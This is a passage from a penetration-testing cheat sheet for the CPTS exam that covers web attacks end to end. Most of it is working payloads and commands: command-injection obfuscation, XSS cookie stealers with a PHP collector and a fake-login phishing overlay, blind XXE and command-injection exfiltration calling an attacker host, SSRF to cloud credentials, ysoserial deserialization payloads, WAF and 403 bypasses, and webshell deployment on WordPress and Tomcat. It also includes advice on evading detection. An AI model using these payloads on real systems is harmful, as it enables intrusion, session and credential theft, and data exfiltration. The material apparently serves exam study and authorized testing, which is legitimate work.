Selection guidance: match the shell to the executing handler, not the OS — an IIS box with PHP installed runs rp-shell.php; a Linux Tomcat runs rp-shell.jsp. Confirm execution context with a harmless probe first (whoami/id, phpinfo()), and note the shell runs as the web service account (www-data, NT AUTHORITY\IUSR/iis apppool\defaultapppool, tomcat) — privesc is 12 - Stage 09 - Privilege Escalation’s job.
[!warning] OPSEC — webshells are tripwires A dropped
.php/.aspxin the webroot is the single most-searched IOC (EDR web-shell signatures, file-integrity monitoring,access.logrequests to a non-linked path). Mitigate: random filename (notshell.php), non-obvious param name (md5, notcmd), password-gate the shell, and delete it when done. On the CPTS exam it doesn’t matter; on a real engagement it’s the difference between a finding and an incident. Full tradecraft: 05 - Foothold Toolkit - Shells Payloads and Metasploit.
Command-injection matrix — operators · char reconstruction · obfuscation
What to look for → the guide already lists the shell-out sinks and the ${IFS} / {brace} / $PATH-slice / quote-split / socat payloads. This is the matrix behind them: the full operator set, how to fingerprint the filter, how to build a blocked character without sending it, and the WAF-grade obfuscation ladder. Modules: 2 - Detecting Command Injection Vulnerabilities → 7 - Advanced Command Obfuscation, 8 - Evasion Tools.
Enumerate — operator set + fingerprint the filter (3 - Identifying Filters)
# operators (URL-encoded), all OS/lang unless noted:
# ; %3b \n %0a & %26 | %7c && %26%26 || %7c%7c `cmd` %60 $(cmd) %24%28%29
# caveat: ';' does NOT chain under Windows cmd.exe (it does under PowerShell)
curl "http://$IP/ping.php?ip=127.0.0.1%0a whoami" # %0a first: hardest to blacklist cleanly
curl "http://$IP/ping.php?ip=|| whoami" # break cmd1 so ONLY cmd2 output returns (clean)
# fingerprint: inline app error = PHP filter; a separate branded block page w/ your IP = external WAF
# reduce to one token to find the banned char: ...ip=127.0.0.1; still blocked => ';' banned -> pivot to %0a
Exploit / Attack — reconstruct blocked characters, then obfuscate the command
Bash and other POSIX shells
# Space bypasses (4 - Bypassing Space Filters)
127.0.0.1%0a%09whoami
127.0.0.1%0a$IFS$9whoami
# Reconstruct blocked characters from environment variables (5 - Bypassing Other Blacklisted Characters)
${LS_COLORS:10:1} # ';'
${PATH:0:1} # '/'
# Derive '\' by shifting the preceding ASCII character.
echo $(tr '!-}' '"-~' <<< [)
# Split a blacklisted command with shell-ignored characters (6 - Bypassing Blacklisted Commands)
w'h'o'am'i
w"h"o"am"i
who$@ami
w\ho\am\i
# Whole-command transforms (7 - Advanced Command Obfuscation)
$(tr "[A-Z]" "[a-z]" <<< "WhOaMi")
$(rev <<< 'imaohw')
bash <<< $(base64 -d <<< Y2F0IC9ldGMvcGFzc3dk)
Windows Command Prompt
:: Reconstruct '\' from HOMEPATH, split a command with quotes, or escape with ^.
%HOMEPATH:~6,-11%
w"h"o"am"i
who^ami
PowerShell
# Strings are character arrays, so this returns a backslash on a normal profile path.
$env:HOMEPATH[0]
# Reverse a command or decode a UTF-16LE Base64 command.
iex "$('imaohw'[-1..-20] -join '')"
iex "$([Text.Encoding]::Unicode.GetString(
[Convert]::FromBase64String('dwBoAG8AYQBtAGkA')
))"
# Interactive DOSfuscation workflow.
Import-Module .\Invoke-DOSfuscation.psd1
Invoke-DOSfuscation
Build PowerShell Base64 from Linux
echo -n whoami | iconv -f utf-8 -t utf-16le | base64
Automate Bash obfuscation
./bashfuscator \
-c 'cat /etc/passwd' \
-s 1 \
-t 1 \
--no-mangling \
--layers 1
[!warning] Watch out
- Filters compose → bypasses compose: one request often stacks operator (
%0a) + space (${IFS}/%09) + name-split (w'h'o'am'i) + char-slice all at once. After any obfuscation, re-scan the wrapper for a character that is itself still filtered (usually the space).||after a deliberately-broken first command gives the cleanest response (only cmd2’s output);;/&&prepend the original command’s output.%0a(newline) beats operator blacklists most often — devs can’t safely ban it — so try it before anything fancier.- Bashfuscator’s random default can exceed a POST field’s size cap — always tune
-s/-t/--no-mangling/--layers; a hand-rolled combo beats a copy-pasted one (public obfuscation patterns are WAF-signatured).
Blind & OOB command injection — no output in the response? Confirm with time (;sleep 5, %0aping -n 6 127.0.0.1 on Windows) or out-of-band; automate detection with commix when manual probing drags:
# OOB confirm — any callback at all proves exec
curl "http://$IP/ping.php?ip=127.0.0.1%0acurl${IFS}http://$LHOST:8000/oob"
# OOB data exfil through the callback path
curl "http://$IP/ping.php?ip=127.0.0.1%0acurl${IFS}http://$LHOST:8000/$(id|base64|tr+/=__)" # demo shape
# DNS-only egress: ping `whoami`.abc123.oast.pro (interactsh / Burp Collaborator catches it)
# commix — automate detection + exploitation when manual probing drags
python3 commix.py -u "http://$IP/ping.php?ip=127.0.0.1" --batch
python3 commix.py -r request.txt --level 3 --technique=t # time-based only, quieter
[!warning] OPSEC — command injection is loud and forensic Every probe lands in the web log with the payload in cleartext;
curl/DNS OOB callbacks leave egress log entries. Prefer a single reverse-shell request (see 05 - Foothold Toolkit - Shells Payloads and Metasploit) over 50 echoed commands, and clean up any files you drop.
🎯 XSS, HTTP Verb Tampering, IDOR & XXE
The ### XSS block above covers find + context-matched payloads. This one carries the payloads through to impact, then adds the three Web-Attacks staples the guide is missing. Deep dives: 5 - XSS Discovery · 8 - Session Hijacking · 7 - Phishing · 1 - Intro to HTTP Verb Tampering · 6 - Identifying IDORs · 10 - Chaining IDOR Vulnerabilities · 13 - Local File Disclosure · 15 - Blind Data Exfiltration · Dalfox - HTB and AEN Cheat Sheet.
XSS — classify → discover → weaponise
What to look for → I already have a firing marker (see above). Now pin the type (fixes delivery) and turn it into cookie theft / creds. Persistence test: does it survive a refresh with no resubmit? Stored. Only in the one echoed response? Reflected. Never in Ctrl+U source, #fragment in the URL with no Network request? DOM.
Enumerate (classify + automate discovery)
# DOM tell: fragment never hits the server -> confirm type before wasting server-side payloads
# reflected -> shareable URL-encoded link; stored -> fires for every visitor on refresh
# automate parameter discovery/context when the manual sweep doesn't scale
python3 xsstrike.py -u "http://$IP/index.php?task=test" # Confidence 10 / Efficiency 100 ~= confirmed
dalfox url "http://$IP/index.php?task=test" # mining + DOM + blind in one Go binary
(XSStrike is Python 2/3 legacy but its context analysis output is still useful for reading sink types.)
<!-- innerHTML sink STRIPS literal <script> — DOM XSS needs an event handler instead -->
<img src="" onerror=alert(window.origin)>
<svg onload=alert(window.origin)>
<!-- alert() blocked? confirmation fallbacks -->
<plaintext> <!-- halts HTML rendering, dumps raw -->
<script>print()</script>
Exploit / Attack — cookie theft → session hijack
# 1. host the stealer + collector on tun0. sudo php -S 0.0.0.0:80 so the HTB browser (VPN iface) reaches it
echo "new Image().src='http://$LHOST/index.php?c='+document.cookie;" > script.js
// index.php — splits multi-cookie strings, logs source IP (handles many victims over time)
<?php if (isset($_GET['c'])) { foreach (explode(";", $_GET['c']) as $v) {
$c=urldecode($v); $f=fopen("cookies.txt","a+");
fputs($f,"IP: {$_SERVER['REMOTE_ADDR']} | Cookie: {$c}\n"); fclose($f);
} } ?>
<!-- 2. deliver into the stored/reflected sink — new Image() is silent (no nav-away, unlike document.location) -->
<script src=http://$LHOST/script.js></script>
# 3. replay: Firefox DevTools Storage (Shift+F9) -> add cookie name/value from cookies.txt -> refresh = authed as victim
Exploit / Attack — blind XSS field ID + phishing
<!-- BLIND: name the callback after each field so a listener hit tells you WHICH field fired -->
<script src=http://$LHOST/fullname></script>
<script src=http://$LHOST/username></script>
'><script src=http://$LHOST></script> <!-- attribute-breakout variants -->
"><script src=http://$LHOST></script>
<!-- PHISHING: overwrite the page with a fake login, strip the original element, comment out the rest -->
<script>document.write('<h3>Please login to continue</h3><form action=http://$LHOST><input name=username placeholder=Username><input type=password name=password placeholder=Password><input type=submit value=Login></form>');document.getElementById('urlform').remove();</script><!--
Collector logs creds then header("Location: http://$IP/...") 302s the victim back so the login “just works” — a bare nc -lvnp 80 proves capture but errors the browser (suspicious).
[!warning] Watch out
document.cookieis empty under HttpOnly — kills the steal, does not disprove XSS. Blind XSS on an admin panel you can’t see is the common HTB shape: the<script src=…/fieldname>naming trick is the only signal you get.- Match the payload to the observed parser (see the context table above) — a short context-correct payload beats a giant list.
<script>fails in aninnerHTMLsink; use<img onerror>/<svg onload>.- HTTP collector against an HTTPS target = mixed-content blocked. Scanner “reflected” ≠ “executed” — always confirm in a real browser.
HTTP Verb Tampering (auth bypass + method-based filter bypass)
What to look for → an action behind Basic Auth (/admin, a Reset/Delete button → 401), or a filter that blocks a payload. Both bugs = the check only covers GET/POST while the server/sink honours other verbs. Two root causes: server config scoped to <Limit GET POST>, or code validating $_POST but a sink reading $_REQUEST.
Enumerate
curl -i -X OPTIONS http://$IP/ # the Allow: header is free recon — HEAD present = try it
# Allow: POST,OPTIONS,HEAD,GET
curl -i -X HEAD "http://$IP/admin/reset.php" # HEAD = GET with no body, same handler runs
Exploit / Attack
# 1. AUTH BYPASS — GET/POST both 401, HEAD falls outside <Limit GET POST> and executes with NO challenge
curl -i -X HEAD "http://$IP/admin/reset.php" # 200, empty body, privileged action ran
# 2. FILTER BYPASS — preg_match checks $_POST, system() reads $_REQUEST -> move payload to GET
curl -s -X POST -d "filename=test;" http://$IP/create.php # "Malicious Request Denied!"
curl -s "http://$IP/create.php?filename=file1;%20touch%20file2;" # $_POST empty (passes), $_REQUEST carries it -> RCE
Burp is faster than curl here: right-click intercepted request → Change Request Method to cycle verbs; Intruder with a verb wordlist (GET POST HEAD PUT DELETE PATCH OPTIONS TRACE CONNECT) to sweep many endpoints.
[!warning] Watch out
- HEAD returns an empty body — no visible confirmation. Verify the side effect (files gone,
file2created), not the response.- A filter is only as strong as its narrowest superglobal: if validation reads
$_GET/$_POSTbut the sink reads$_REQUEST, flipping the verb slips every payload past it. Test a known-blocked payload across every accepted verb.- HEAD is enabled by default on most Apache/nginx and rarely tested by scanners against auth logic — check it on every protected endpoint.
IDOR (enumeration, encoding/hashing, mass-assignment chains)
What to look for → object refs I can tamper: ?uid=1, ?file_id=123, JSON {"uid":1}, predictable filenames (Invoice_<uid>_<mm>_<yyyy>.pdf), base64/hash-looking params, and client-supplied role/is_admin fields. Read shipped JS for AJAX functions the UI never calls for my role. On REST APIs the same bug is BOLA (Broken Object Level Authorization, OWASP API #1) — enumerate object IDs on /api/v1/users/{id}-style routes with every verb; “function-level” variant = calling admin-only endpoints (/api/admin/export) as a low-priv user.
Enumerate
# encoding is NOT access control — decode first
echo "ZmlsZV8xMjMucGRm" | base64 -d # -> file_123.pdf, now guess file_124.pdf and re-encode
# "secure" MD5 ref? if the JS hashes client-side (CryptoJS.MD5(btoa(uid))), reproduce the formula:
echo -n 1 | base64 -w 0 | md5sum # must match the observed contract= value
# -n (no newline) and -w 0 (no wrap) are mandatory — a stray byte changes the hash entirely
Exploit / Attack — mass enumeration
# plaintext uid: scrape links then pull every file across the id range
curl -s "http://$IP/documents.php?uid=3" | grep -oP "\/documents.*?.pdf"
for i in $(seq 1 100); do
for l in $(curl -s "http://$IP/documents.php?uid=$i" | grep -oP "\/documents.*?.pdf"); do
wget -q "http://$IP/$l"; done; done
# hashed ref: reproduce the client formula per id, POST it, save server-suggested filename (-OJ)
for i in $(seq 1 100); do
h=$(echo -n $i | base64 -w 0 | md5sum | tr -d ' -')
curl -sOJ -X POST -d "contract=$h" http://$IP/download.php; done
Exploit / Attack — API chain: info-disclosure IDOR → mass assignment → priv-esc
# 1. GET another user's record (only a role=employee cookie as "auth") leaks the uuid a PUT needs
curl -s "http://$IP/profile/api.php/profile/2" # -> {"uid":"2","uuid":"4a9b...","role":"employee",...}
# 2. PUT with the harvested uuid clears the "uuid mismatch" check -> write to their account (mass assignment)
curl -s -X PUT -H 'Content-Type: application/json' \
-d '{"uid":"2","uuid":"4a9b...","role":"employee","about":"PWNED"}' \
"http://$IP/profile/api.php/profile/2"
# 3. enumerate all uids for the real admin role NAME (guessing admin/administrator fails -> it's web_admin)
for i in $(seq 1 20); do curl -s "http://$IP/profile/api.php/profile/$i"; echo; done | grep -o '"role":"[^"]*"'
# 4. escalate self, then create a new admin (POST no longer "for admins only" once role=web_admin)
curl -s -X PUT -H 'Content-Type: application/json' \
-d '{"uid":"1","uuid":"<mine>","role":"web_admin"}' "http://$IP/profile/api.php/profile/1"
[!warning] Watch out
- Pages often look identical across users — only linked filenames / response size differ. Diff source/size (Burp Comparer), never the rendered view.
- Client-side hashing or a client-supplied
role/is_admin= zero security; the algorithm+input are in the JS bundle, so any ref is attacker-computable.- Test all CRUD verbs (GET/PUT/POST/DELETE) on a REST endpoint, not just the one the UI uses — rejection messages (
uuid mismatch,Invalid role) leak exactly which field is validated. A blocked write path is not a dead end: check the read path for the value that unblocks it.- After role-esc, re-try every previously-blocked action — the same endpoint accepts them under the new role.
XXE (file read, source theft, RCE, blind OOB)
What to look for → any endpoint that ingests XML: contact forms, SAML/SOAP, Content-Type: text/xml/application/xml API bodies, XML file uploads. Legacy or unknown parser = worth testing. Note which submitted element gets reflected back — that’s the output channel.
Enumerate / confirm
<!-- confirm the parser resolves custom entities with a harmless INTERNAL entity first -->
<?xml version="1.0"?>
<!DOCTYPE email [ <!ENTITY company "Inlane Freight"> ]>
<root><name></name><email>&company;</email><message></message></root>
<!-- response echoes "Inlane Freight" (not literal &company;) => entity resolution works -->
Exploit / Attack — direct read / source / RCE
<!-- local file read via EXTERNAL entity -->
<!DOCTYPE email [ <!ENTITY company SYSTEM "file:///etc/passwd"> ]> <!-- also id_rsa, config creds -->
<!-- PHP source: raw <?php ... breaks XML, so base64 it with php://filter -->
<!ENTITY company SYSTEM "php://filter/convert.base64-encode/resource=index.php">
<!-- XXE->RCE only if the (rare) expect ext is loaded; $IFS replaces spaces to keep XML well-formed -->
<!ENTITY company SYSTEM "expect://curl$IFS-O$IFS'$LHOST/shell.php'">
Exploit / Attack — advanced (framework-agnostic) & blind OOB
# CDATA-wrap via parameter entities — non-PHP backends, preserves <>& verbatim (no base64 needed)
echo '<!ENTITY joined "%begin;%file;%end;">' > xxe.dtd
python3 -m http.server 8000
<!DOCTYPE email [
<!ENTITY % begin "<![CDATA[">
<!ENTITY % file SYSTEM "file:///var/www/html/submitDetails.php">
<!ENTITY % end "]]>">
<!ENTITY % xxe SYSTEM "http://$LHOST:8000/xxe.dtd">
%xxe;
]>
<root><email>&joined;</email></root>
// BLIND OOB — no reflection, no errors: exfil base64 file over an outbound request. listener index.php:
<?php if(isset($_GET['content'])){ error_log("\n\n".base64_decode($_GET['content'])); } ?>
<!-- xxe.dtd hosted on $LHOST:8000 -->
<!ENTITY % file SYSTEM "php://filter/convert.base64-encode/resource=/etc/passwd">
<!ENTITY % oob "<!ENTITY content SYSTEM 'http://$LHOST:8000/?content=%file;'>">
<!-- injected payload: pull the DTD, define %oob, then &content; fires the callback -->
<!DOCTYPE email [ <!ENTITY % remote SYSTEM "http://$LHOST:8000/xxe.dtd"> %remote; %oob; ]>
<root>&content;</root>
# error-based (verbose PHP errors, no reflection): join a non-existent entity to leak %file; in the error text
# <!ENTITY % error "<!ENTITY content SYSTEM '%nonExistingEntity;/%file;'>">
# automate the whole OOB workflow once understood ([XXEinjector](https://github.com/enjoiz/XXEinjector); req file body replaced by literal XXEINJECT):
ruby XXEinjector.rb --host=$LHOST --httpport=8000 --file=/tmp/xxe.req --path=/etc/passwd --oob=http --phpfilter
cat Logs/$IP/etc/passwd.log
[!warning] Watch out
- PHP source (
<?php,$,<>&) breaks raw substitution → usephp://filterbase64 or the CDATA-wrap./etc/passwdis plain text and substitutes cleanly, so read it first to prove the primitive.- CDATA, error-based and OOB all need outbound connectivity from the target to fetch your DTD — confirm egress early. HTTP blocked but DNS open? DNS OOB (base64 as a subdomain label, catch with
tcpdump) or Interactsh/Burp Collaborator.expect://RCE needs a non-default PHP ext — don’t count on it; file read + source theft (creds, more bugs) are the reliable wins.- Modern
libxml2≥ 2.9 disables external entities by default — XXE lives in legacy/misconfigured parsers, so always confirm with the internal-entity test before assuming it’s dead.
🌊 SSRF — server-side request forgery
What to look for → any feature that fetches a URL server-side: webhooks, “import from URL”, PDF/HTML renderers, image proxies, RSS importers, ?url=/?dest=/?feed= params, SAML/metadata URL fields. T1190 / mapped to ATT&CK via impact (cloud cred theft ≈ T1552.005).
Target table — what to aim the server at:
| Target | Payload | Payoff |
|---|---|---|
| Cloud metadata (AWS) | http://169.254.169.254/latest/meta-data/iam/security-credentials/ | IAM role creds → full cloud pivot (IMDSv1; v2 needs a PUT token — try header-smuggling it) |
| GCP metadata | http://metadata.google.internal/computeMetadata/v1/ (+Metadata-Flavor: Google) | service-account tokens |
| Azure metadata | http://169.254.169.254/metadata/instance?api-version=2021-02-01 (+Metadata: true) | MSI tokens |
| Internal HTTP | http://127.0.0.1:8080/, http://localhost/admin, RFC1918 sweep | reach admin panels bound to loopback only |
| Redis (gopher) | gopher://127.0.0.1:6379/_*1%0d%0a... | write SSH key/cron via CONFIG SET+SAVE, or EVAL lua RCE |
| MySQL (gopher) | gopher://127.0.0.1:3306/_<raw protocol bytes> | auth bypass / query exec against unauth’d local MySQL |
| Internal file read | file:///etc/passwd, file:///proc/self/environ | source & env creds |
Bypass filters
localhost variants: 127.0.0.1 127.1 2130706433(dec) 0x7f000001 [::1] 0 localhost.localdomain
DNS trick: attacker-controlled domain resolving to 127.0.0.1 (e.g. nip.io: 127.0.0.1.nip.io)
redirect trick: point at your URL that 302s to http://169.254.169.254/... (beats naive allowlists)
parser confusion: http://allowed.com@127.0.0.1 · http://127.0.0.1#allowed.com · http://allowed.com%252f@127.0.0.1
# Gopherus — builds the gopher:// payload for redis/mysql/fastcgi/zabbix...
python3 gopherus.py --exploit redis # interactive: choose reverse shell / ssh key write
python3 gopherus.py --exploit mysql -u root -q "select user();"
# SSRFmap — module-driven SSRF sweeps (portscan, redis, aws meta...) from a Burp req file
python3 ssrfmap.py -r ssrf.req -p url -m aws,redis,portscan --level=4
[!warning] Watch out
- Blind SSRF (no response body back) is still exploitable: port-scan by response-time/error deltas, and confirm with an OOB callback (interactsh).
- Gopher payloads need double URL-encoding when the target param is itself URL-decoded once by the app and once by the SSRF client — if
%0d%0adoesn’t land, try%250d%250a.- On HTB boxes the pattern is usually
http://127.0.0.1:<internal-port>/admin-style; sweep127.0.0.1ports 1–10000 before going exotic. Cloud metadata only matters on actual cloud targets — checkhttp://169.254.169.254/takes <1s to rule in/out.
🧬 Insecure deserialization
What to look for → Java AC ED 00 05 (rO0 base64) in cookies/params, .NET __VIEWSTATE, PHP O:4:"User":2:{...} blobs, Python pickle (gASV / KGRwMA...), Ruby BAh (Marshal). Any of these = stop and reach for the gadget tools.
[!tools] Deserialization payload generators (staged) Java — ysoserial gadget chains (CommonsCollections, Spring, Hibernate…):
ysoserial-all.jar (SHA-256 · GPG signature)
.NET — ysoserial.net ViewState/BinaryFormatter/Json.NET payload plugins:
# Java: generate a gadget payload, deliver base64'd into the cookie/param
java -jar ysoserial-all.jar CommonsCollections6 "curl http://$LHOST:8000/pwn" | base64 -w 0
java -jar ysoserial-all.jar URLDNS "http://$LHOST:8000/dnscheck" # blind probe first
# .NET ViewState (needs the machineKey or validation key when signed):
ysoserial.exe -p ViewState -g TypeConfuseDelegate -c "cmd /c whoami > c:\inetpub\wwwroot\o.txt" \
--path="/default.aspx" --apppath="/" --decryptionalg="AES" --validationalg="SHA1" \
--decryptionkey="<key>" --validationkey="<key>"
# PHP: write an object by hand when a magic method (__wakeup/__destruct/__toString) touches files/cmds
O:8:"FileDrop":1:{s:4:"path";s:16:"/tmp/poison.log";}
# phar deserialization: upload a phar-polyglot, trigger via phar:// in ANY file op (file_exists, md5_file)
# -> phar metadata unserializes without include() — LFI not required
[!warning] Watch out
- Gadget chain must match a library on the target classpath — fingerprint versions (error pages,
/META-INF, JS comments) before spraying chains;URLDNSis the safe universal probe.- PHP phar deserialization fires on any filesystem function with a
phar://path —md5_file($_GET['f'])is enough. Combine with the upload section’s phar-polyglot.- Pickle: the app must unpickle your bytes — look for
pickle.loads(base64.b64decode(request.cookies[...]))patterns in leaked source.
🏎️ Race conditions & request smuggling
Race conditions (TOCTOU) — single-use coupons, limit-bypass, OTP guessing, file-overwrite windows: the app checks a condition and acts on it in two steps. Burp Turbo Intruder (race-single-packet-attack.py template, HTTP/2 single-packet sync) fires 20–30 requests in the same network packet:
# turbo intruder: single-packet race (Burp > Extensions > Turbo Intruder)
def queueRequests(target, wordlists):
engine = RequestEngine(endpoint=target.endpoint, concurrentConnections=1)
for i in range(30):
engine.queue(target.req, gate='race1') # queue all, hold at gate
engine.openGate('race1') # release simultaneously
CRLF injection → header splitting (%0d%0aSet-Cookie: / %0d%0aLocation:) → response splitting, cache poisoning, XSS via injected headers. Test on every redirect param.
HTTP request smuggling (CL.TE / TE.CL / TE.TE) — front/back-end disagree on request length:
POST / HTTP/1.1
Host: $DOMAIN
Content-Length: 13
Transfer-Encoding: chunked
0
G <- 'G' is left over and prefixes the NEXT user's request
Confirm with Burp’s HTTP Request Smuggler extension; exploit to bypass front-end ACLs (/admin proxied internally), poison caches, or hijack other users’ requests. Observe response discrepancies — never smoke-test on infra you can’t roll back.
🔌 API attacks — GraphQL, kiterunner, WebSockets
API route discovery — regular wordlists miss versioned/nested API routes; kiterunner ships kitebuilder-compiled route wordlists:
kr scan http://$IP -w routes-large.kite -x 10 --ignore-length=1055
kr scan http://$IP -A=apiroutes-210320 -x 5 # precompiled Assetnote wordlist
GraphQL — find it at /graphql /api/graphql /graphiql /playground; then:
# introspection — dumps the entire schema (types, queries, mutations)
{__schema{types{name,fields{name,args{name,description,type{name}}}}}}
# if introspection is off: field suggestion ("Did you mean...?") + clairvoyance-style brute,
# or fuzz with GET ?query= and alias-based batching (bypasses rate limits)
curl -s http://$IP/graphql -H 'Content-Type: application/json' \
-d '{"query":"{__schema{types{name}}}"}'
# automate: graphql-cop (audit), InQL (Burp ext), DVGA as practice target
Watch for: mutations that change roles/reset passwords, nested-query DoS, IDOR on user(id:) node queries, JWT in GraphQL headers.
WebSockets — Burp (Proxy > WebSockets history) can intercept/replay WS frames:
- No origin check → cross-site WebSocket hijacking (CSWSH): victim browser opens the socket with their cookies.
- Unauthenticated message channel → inject SQLi/XSS payloads in WS messages (same classes, new transport).
- Test message tampering, replay, and authorization per-message — many apps auth the handshake only.
Prototype pollution (brief) — JS objects merge attacker keys: {"__proto__":{"isAdmin":true}} in a JSON body, or ?__proto__[polluted]=1 in query strings. Server-side (Node) → property pollution can flip auth checks or reach RCE via gadget properties (shell, NODE_OPTIONS). Client-side → DOM XSS gadgets. Confirm by reading the polluted property after the merge; payloads: PayloadsAllTheThings Prototype Pollution.
🛡️ WAF evasion & 403 bypass
403-bypass header & path tricks (loopback-restricted endpoints, CDN-fronted apps):
# header spoofing — the app trusts forwarding headers from the "trusted" proxy
curl -H 'X-Forwarded-For: 127.0.0.1' http://$IP/admin
curl -H 'X-Real-IP: 127.0.0.1' -H 'X-Originating-IP: 127.0.0.1' http://$IP/admin
curl -H 'X-Custom-IP-Authorization: 127.0.0.1' http://$IP/admin
# path confusion — front-end normalises, back-end doesn't (or vice versa)
curl http://$IP/admin/../admin/ # traversal normalisation
curl http://$IP//admin/ # double slash
curl http://$IP/admin%2f # encoded slash
curl http://$IP/admin;.js # suffix decoration (Tomcat/Spring)
curl http://$IP/admin%20 / %09 # trailing whitespace/tab
# verb tampering also applies — see the HEAD/OPTIONS section
WAF evasion for injection payloads
| Technique | Example |
|---|---|
| Case randomisation | SeLeCt (also sqlmap --tamper=randomcase) |
| Comment/whitespace swap | UN/**/ION, SEL%0bECT, UNION%23a%0aSELECT |
| Double/unicode URL-encode | %2527 → decodes to ' after one pass |
| Chunked transfer encoding | Transfer-Encoding: chunked splits the payload across chunks WAFs don’t reassemble |
| Charset games | ?charset=utf-7 + utf-7-encoded payload (legacy IIS/IE) |
| Parameter pollution | ?id=1&id=UNION... — WAF inspects param 1, app uses param 2 |
| JSON smuggling | same attack in a application/json body when the WAF only parses forms |
Encode/decode/transform everything in CyberChef — build a recipe (URL-decode ×2 → base64) once, reuse it for every payload variant.
[!warning] OPSEC — WAFs are sensors Every blocked request is a logged IOC and may trigger IP bans that lock you out of the box (fail2ban/Cloudflare). Fingerprint the WAF first (
wafw00f http://$IP), lower thread counts, and rotate through encoding tricks one at a time. On HTB, a “403 on everything” usually means vhost needed, not a WAF — re-check the Host header before reaching for evasion.
🗃️ Source & config leaks — exposed .git, .env, backups
What to look for → .git/HEAD returning content, .env in the webroot, config.php~, backup.zip, .DS_Store, swagger.json. Cheapest wins in all of web enum. Tools: git-dumper / GitTools for repo recovery, gitleaks/trufflehog for secret mining.
# exposed .git — check first, then dump the WHOLE repo
curl -s http://$IP/.git/HEAD # "ref: refs/heads/master" = jackpot
git-dumper http://$IP/.git/ ./repo # https://github.com/arthaud/git-dumper
cd ./repo && git log --oneline && git show <old-commit> # deleted secrets live in history
# or the GitTools suite (gitdumper.sh + extractor.sh): https://github.com/internetwache/GitTools
# .env / config / backup hunters
ffuf -u http://$IP/FUZZ -w /usr/share/seclists/Discovery/Web-Content/raft-medium-files.txt \
-e .env,.git,.bak,.old,.zip,.tar.gz,.sql,.swp,.json,.yml,.config -mc 200 -c
curl -s http://$IP/.env # DB_PASSWORD=..., APP_KEY=..., AWS keys
curl -s http://$IP/config.php~ # editor backups serve SOURCE (not executed!)
curl -s http://$IP/index.php.bak # same trick — .bak/.swp/.old bypass the PHP handler
# any repo found: mine it for secrets
gitleaks detect --source ./repo -v
trufflehog git file://./repo --only-verified
(gitleaks · trufflehog)
[!tip] Why this comes first Source disclosure (
config.php~,.gitdump) hands you credentials, the exact filter logic, and the framework version — it converts blind black-box attacks into white-box ones. Always burn 2 minutes on these paths before any brute force. Looted DB creds then feed the service attacks in 01 - Attacking Common Services - CPTS Cheat Sheet.
🏢 Attacking Common Applications (fingerprint → known exploit)
Off-the-shelf apps behind a web port are the fastest foothold on the CPTS exam — a fingerprint plus a known CVE or a built-in “feature” (theme editor, script console, scripted input) beats hand-crafting a bug. Sweep web ports (80,443,8000,8080,8180,8443,8500,8089,10000), screenshot everything (STAGE 2 EyeWitness/gowitness block), then match the tell to the table below. Deep dives: 1 - Introduction to Attacking Common Applications · 2 - Attacking WordPress · 5 - Attacking Tomcat · 6 - Attacking Jenkins · 7 - Attacking Splunk · 8 - Attacking PRTG Network Monitor · 10 - Attacking GitLab · 13 - Attacking ColdFusion · 15 - LDAP and Web Mass Assignment Vulnerabilities.
[!note] The pattern is always the same Fingerprint → confirm version → pick built-in-functionality abuse OR version-gated CVE. Most of these land you a shell as the service account, which on Jenkins/Splunk/PRTG/Tomcat is very often
SYSTEM(Windows) orroot(Linux) — a privileged foothold with no local priv-esc needed. Always record the exact build number; nearly every CVE below is version-gated.
| App | Fingerprint / tell | Default creds to try | Known exploit → outcome | Note |
|---|---|---|---|---|
| WordPress | wp-login.php, wp-content/, generator meta, ?author=1 | — (enum users) | admin → Theme Editor 404.php shell · vuln plugin (mail-masta LFI, wpDiscuz upload) | 2 - Attacking WordPress |
| Joomla | generator meta, /administrator/, joomla.xml | admin:admin (set at install) | admin → Template Customise error.php shell · CVE-2019-10945 dir-trav | 3 - Attacking Joomla |
| Drupal | “Powered by Drupal”, CHANGELOG.txt, /node/<id> | — | PHP Filter module · backdoored module · Drupalgeddon 1/2/3 | 4 - Attacking Drupal |
| Tomcat | Server: hdr, /docs, /manager, AJP :8009 | tomcat:tomcat,admin:admin,tomcat:s3cret | /manager → WAR deploy → JSP shell · Ghostcat AJP LFI · CVE-2019-0232 | 5 - Attacking Tomcat |
| Jenkins | login page on :8080, /script | none/anon-read misconfig | Groovy Script Console → Runtime.exec() RCE | 6 - Attacking Jenkins |
| Splunk | Splunkd httpd on :8000/:8089 | admin:changeme, expired-trial→no auth | custom app + scripted input → reverse shell | 7 - Attacking Splunk |
| PRTG | Indy httpd … Paessler PRTG on :8080 | prtgadmin:prtgadmin | CVE-2018-9276 notification cmd-inject (<18.2.39) | 8 - Attacking PRTG Network Monitor |
| osTicket | OSTSESSID cookie, “powered by” footer | — | email-harvest → OSINT/breach creds → reuse (methodology, not a CVE) | 9 - Attacking osTicket |
| GitLab | login page/logo, /explore, /help (post-auth) | self-registration on | register → repo secrets · CE ≤13.10.2 ExifTool RCE · CVE-2021-22205 | 10 - Attacking GitLab |
| ColdFusion | :8500, .cfm/.cfc, /CFIDE/administrator/ | — | CVE-2010-2861 dir-trav (creds) · CVE-2009-2265 FCKeditor unauth RCE | 13 - Attacking ColdFusion |
| CGI/Shellshock | cgi-bin/, .cgi/.sh scripts | — | CVE-2014-6271 via User-Agent bash func | 11 - Attacking Common Gateway Interface (CGI) and Shellshock |
| IIS (tilde) | Microsoft IIS httpd, 8.3 short names | — | ~ short-name disclosure → narrow wordlist → recover hidden files | 14 - IIS Tilde Enumeration |
| LDAP login | 389/636 beside a web login | — | wildcard */* auth bypass (LDAP injection) | 15 - LDAP and Web Mass Assignment Vulnerabilities |
WordPress → admin Theme Editor shell + plugin RCE
Cred-getting (wpscan enumerate + xmlrpc/wp-login password attack) is the WordPress (wpscan) subsection above — don’t repeat it. This is what to do once you have admin, plus the two unauth plugin bugs.
What to look for → admin login (or a vuln plugin string in the homepage source: mail-masta, wpDiscuz, contact-form-7 with a ?ver= pin).
Enumerate (manual, catches plugins wpscan misses)
curl -s http://$DOMAIN/ | grep -oE 'wp-content/(themes|plugins)/[^/]+' | sort -u
curl -s http://$DOMAIN/wp-content/plugins/<plugin>/readme.txt | grep -i 'stable tag' # pin version for CVE lookup
Exploit / Attack
# 1) Admin -> Appearance -> Theme Editor -> edit an INACTIVE theme's 404.php: system($_GET[0]);
curl "http://$DOMAIN/wp-content/themes/twentynineteen/404.php?0=id"
# same thing automated (uploads a malicious plugin, self-cleans on exit):
msfconsole -q -x "use exploit/unix/webapp/wp_admin_shell_upload; set RHOSTS $IP; set USERNAME $U; set PASSWORD $P; set LHOST $LHOST; run"
